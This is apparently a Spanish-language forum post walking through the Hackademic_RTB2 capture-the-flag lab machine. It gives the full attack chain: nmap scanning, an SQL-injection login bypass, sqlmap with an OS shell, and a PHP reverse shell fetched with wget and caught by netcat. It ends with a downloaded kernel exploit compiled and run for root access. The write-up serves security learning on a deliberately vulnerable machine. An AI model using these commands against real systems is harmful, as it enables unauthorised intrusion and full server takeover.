• Inicio
  • Buscar
  • Ingresar
  • Registrarse

    ¿Sabes el motivo de que fallen tanto algunas impresoras Epson?

    • Hack x Crack - Comunidad de Seguridad informática »
    • Seguridad Informatica »
    • Hacking »
    • CTF - Hackademic_RTB2 - Preparacion OWASP [RESUELTO]
    • Imprimir
    Páginas: [1]   Ir Abajo

    Autor Tema: CTF - Hackademic_RTB2 - Preparacion OWASP [RESUELTO]  (Leído 294 veces)

    Desconectado R3LI4NT

    • { L4 } Geek
    • ****
    • Mensajes: 322
    • El poder del usuario radica en su ANONIMATO.
      • Ver Perfil
      • GitHub
    CTF - Hackademic_RTB2 - Preparacion OWASP [RESUELTO]
    « en: Agosto 04, 2022, 02:49:16 am »


    Nombre de la máquina: Hackademic_RTB2
    O.S: Ubuntu (Linux)
    Nivel: Medio
    Reto compartido en mi perfil de Github: https://github.com/R3LI4NT/ctf-retos
    Descargar desde vulnhub:  https://www.vulnhub.com/entry/hackademic-rtb2,18/



    Paso 1): Identificar la IP de la máquina host con ArpScan.
    Código: Text
    1. arp-scan --interface eth0 -l
    2.  



    IP host: 192.168.25.131

    Paso 2): Escanear todos los puertos que estén abiertos con Nmap.
    Código: Text
    1. nmap -p- --open -sC -n -vvv 192.168.25.131
    2.  



    Puertos abiertos: [80,666]

    Paso 3): Detección de servicios y sistema operativo.

    Código: Text
    1. nmap -p 80,666 -A 192.168.25.131
    2.  



    Servidor corriendo: HTTP Apache
    O.S: Linux (Ubuntu)
    URL del servidor: http://192.168.25.131



    Paso 4): Bypassear login con inyección SQL manual.

    Username: ' or 1=1--'
    Password: ' or 1=1--'





    Al inspeccionar el código fuente, la etiqueta <font> contiene un texto ofuscado a hexadecimal.



    Código: Text
    1. %33%63%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%33%65%20%30%64%20%30%61%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%32%30%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%32%30%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%36%39%20%36%65%20%32%37%20%32%30%20%36%66%20%36%65%20%32%30%20%36%38%20%36%35%20%36%31%20%37%36%20%36%35%20%36%65%20%32%37%20%37%33%20%32%30%20%36%34%20%36%66%20%36%66%20%37%32%20%32%30%20%32%65%20%32%65%20%32%30%20%33%61%20%32%39%20%30%64%20%30%61%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%30%64%20%30%61%20%33%63%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%33%65%0A
    2.  

    Paso 5): Decodificar mensaje de forma Online y con BurpSuite.

    ONLINE: https://www.online-toolz.com/langs/es/tool-es-text-hex-convertor.html



    BURPSUITE:

    Decoder:
    Código: Text
    1. [Text] -> Decode as -> URL
    2. [Hex] -> Decode as -> ASCII hex
    3. [Text] -> Decode as -> Plain
    4.  



    Decodificar cadena binaria: https://www.traductorbinario.com/

    Código: Text
    1. 0 0 1 1 0 0 0 1   0 0 1 1 0 0 0 0   0 0 1 1 0 0 0 0   0 0 1 1 0 0 0 1   0 0 1 1 1 0 1 0   0 0 1 1 0 0 0 1   0 0 1 1 0 0 0 1   0 0 1 1 0 0 0 0   0 0 1 1 0 0 0 1   0 0 1 1 1 0 1 0   0 0 1 1 0 0 0 1   0 0 1 1 0 0 0 0   0 0 1 1 0 0 0 1   0 0 1 1 0 0 0 1   0 0 1 1 1 0 1 0   0 0 1 1 0 0 0 1   0 0 1 1 0 0 0 0   0 0 1 1 0 0 0 0   0 0 1 1 0 0 0 1
    2.  



    Paso 6): Acceder al puerto 666 golpeado recursivamente los puertos 1001,1101,1011,1001 con Nmap.
    Código: Text
    1. nmap -r -p 1001,1101,1011,1001 192.168.25.131
    2.  



    URL con el puerto 666 abierto: http://192.168.25.131:666



    Paso 7): Encontrar parámetro vulnerable a inyección SQL.

    Navegando en el sitio web se puede observar que la "Lista de artículos de contenido" presenta una URL crítica.
    URL: http://192.168.25.131:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3

    Explotar base de datos con SQLmap:
    Código: Text
    1. sqlmap --url 'http://192.168.25.131:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3' --dbs --batch
    2.  



    Paso 8]: Subir una shell a la base de datos joomla.
    Código: Text
    1. sqlmap --url 'http://192.168.25.131:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3' -D joomla --os-shell --batch
    2.  



    Editar la reverse shell PHP, moverla al directorio /root y subirla al servidor local:
    Código: Text
    1. cp /usr/share/webshells/php/php-reverse-shell.php /root
    2. nano php-reverse-shell.php
    3. mv php-reverse-shell.php reverseshell.php
    4.  

    $ip: La IP local de su máquina.
    $port: 4444 (opcional).





    Abrir servidor local con Python3:
    Código: Text
    1. python3 -m http.server 80
    2.  



    Descargar la reverse shell desde la shell obtenida en la base de datos:
    Código: Text
    1. wget http://192.168.1.9/reverseshell.php
    2.  



    Paso 9): Poner a escucha conexiones con Netcat.
    Código: Text
    1. nc -lvp 4444
    2.  

    Acceder al sitio donde se subio la reverse shell:
    URL: http://192.168.25.131:666/reverseshell.php



    Paso 10): Identificar versión del kernel y descargar exploit.



    Código: Text
    1. searchsploit 2.6.3 | grep "RDS"
    2. searchsploit -m 15285
    3.  



    Abrir servidor local con Python3:
    Código: Text
    1. python3 -m http.server 80
    2.  

    Descargar y compilar exploit en el directorio /tmp:
    Código: Text
    1. cd /tmp
    2. wget http://192.168.1.9/15285.c
    3. gcc 15285.c -o kernel
    4.  



    Explotar kernel:
    Código: Text
    1. ./kernel
    2.  



    Acceder al directorio /root y capturar la flag:
    Código: Text
    1. cd /root
    2. cat Key.txt
    3.  



    Descifrar contenido del fichero con base64 y moverlo al servidor local /var/www:
    Código: Text
    1. base64 -d Key.txt > flag
    2. mv flag /var/www
    3.  

    URL: http://192.168.25.131:666/flag



    Mis felicitaciones al autor mr.pr0n por la excelente versión 2.0 de Hackademic!
    Versión 1: _ https://hackxcrack.net/foro/hacking/ctf-hackademic_rtb1-(resuelto)/



    #R3LI4NT
    En línea

    No contesto dudas por MP, si las tienes, las planteas en el foro.

    Road To Hacking v3: https://github.com/R3LI4NT/road-to-hacking

    • Imprimir
    Páginas: [1]   Ir Arriba
    • Hack x Crack - Comunidad de Seguridad informática »
    • Seguridad Informatica »
    • Hacking »
    • CTF - Hackademic_RTB2 - Preparacion OWASP [RESUELTO]
     

    • SMF | SMF © 2013, Simple Machines
    • XHTML
    • RSS
    • WAP2
    Va un mudo y le dice a un sordo: Hack x Crack usa cookies. Pues eso... Learn more